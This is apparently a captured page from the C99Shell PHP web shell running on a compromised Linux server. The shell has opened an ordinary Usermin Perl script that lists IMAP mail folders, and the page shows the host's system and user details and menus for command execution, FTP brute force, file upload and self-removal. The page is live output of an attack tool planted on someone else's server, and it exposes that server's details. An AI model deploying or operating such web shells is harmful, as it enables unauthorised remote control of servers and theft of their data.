!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/usermin/mailbox/   drwxr-xr-x
Free 26.62 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     list_ifolders.cgi (3.02 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Display a list of IMAP folders, and allow addition and deletion
use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
our (%text, %in);

require './mailbox-lib.pl';
&ui_print_header(undef, $text{'folders_title'}, "");

print &ui_form_start("delete_folders.cgi", "post");
my @tds = ( "width=5" );
my @folders = &list_folders_sorted();
foreach my $folder (@folders) {
    $folder->{'file'} = &html_escape($folder->{'file'})
        if ($folder->{'file'});
    }
my @adders = ( "<a href='edit_ifolder.cgi?new=1'>$text{'folders_addimap'}</a>",
        "<a href='edit_comp.cgi?new=1'>$text{'folders_addcomp'}</a>",
        "<a href='edit_virt.cgi?new=1'>$text{'folders_addvirt'}</a>" );
print &ui_links_row(\@adders);
print &ui_columns_start([ "",
              $text{'folders_name'},
              $text{'folders_type'},
              $text{'folders_size'},
              $text{'folders_action'} ], undef, 0, \@tds);
foreach my $f (@folders) {
    my @cols;
    my $deletable = 0;
    if ($f->{'inbox'} || $f->{'sent'} || $f->{'drafts'} || $f->{'spam'}) {
        # Inbox, drafs, sent or spam folder which cannot be edited
        push(@cols, &html_escape($f->{'name'}));
        push(@cols, "IMAP");
        push(@cols, &nice_size(&folder_size($f)));
        }
    elsif ($f->{'type'} == 5) {
        # Link for editing composite folder
        push(@cols, &ui_link("edit_comp.cgi?idx=$f->{'index'}",
                     &html_escape($f->{'name'})));
        push(@cols, $text{'folders_comp'});
        push(@cols, &nice_size(&folder_size($f)));
        $deletable = 1;
        }
    elsif ($f->{'type'} == 6) {
        # Link for editing virtual folder
        push(@cols, &ui_link("edit_virt.cgi?idx=$f->{'index'}",
                     &html_escape($f->{'name'})));
        push(@cols, $text{'folders_virt'});
        push(@cols, undef);
        $deletable = 1;
        }
    else {
        # Edit an IMAP folder
        push(@cols, &ui_link("edit_ifolder.cgi?idx=$f->{'index'}",
                         &html_escape($f->{'name'})));
        push(@cols, "IMAP");
        push(@cols, &nice_size(&folder_size($f)));
        $deletable = 1;
        }
    if ($f->{'inbox'} || $f->{'sent'} || $f->{'drafts'}) {
        $cols[0] = "<b>".$cols[0]."</b>";
        }

    # Action links
    my @acts;
    push(@acts, "<a href='index.cgi?folder=$f->{'index'}'>".
            "$text{'folders_view'}</a>");
    if (!$f->{'nowrite'}) {
        my ($is, $ie);
        my $auto = &get_auto_schedule($f);
        if ($auto && $auto->{'enabled'}) {
            ($is, $ie) = ("<b>", "</b>");
            }
        push(@acts, $is."<a href='edit_auto.cgi?idx=$f->{'index'}'>".
                "$text{'folders_auto'}</a>".$ie);
        }
    push(@acts, "<a href='copy_form.cgi?idx=$f->{'index'}'>".
            "$text{'folders_copy'}</a>");
    push(@cols, join(" | ", @acts));
    if ($deletable) {
        print &ui_checked_columns_row(\@cols, \@tds,
                          "d", $f->{'index'});
        }
    else {
        print &ui_columns_row([ "", @cols ], \@tds);
        }
    }
print &ui_columns_end();
print &ui_links_row(\@adders);
print &ui_form_end([ [ "delete", $text{'folders_delete'} ] ]);

# Refresh left frame if needed
if ($in{'refresh'}) {
    my ($folder) = grep { $_->{'name'} eq $in{'refresh'} } @folders;
    if (defined(&theme_post_save_folder)) {
        &theme_post_save_folder($folder, 'modify');
        }
    }

&ui_print_footer("", $text{'index'});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--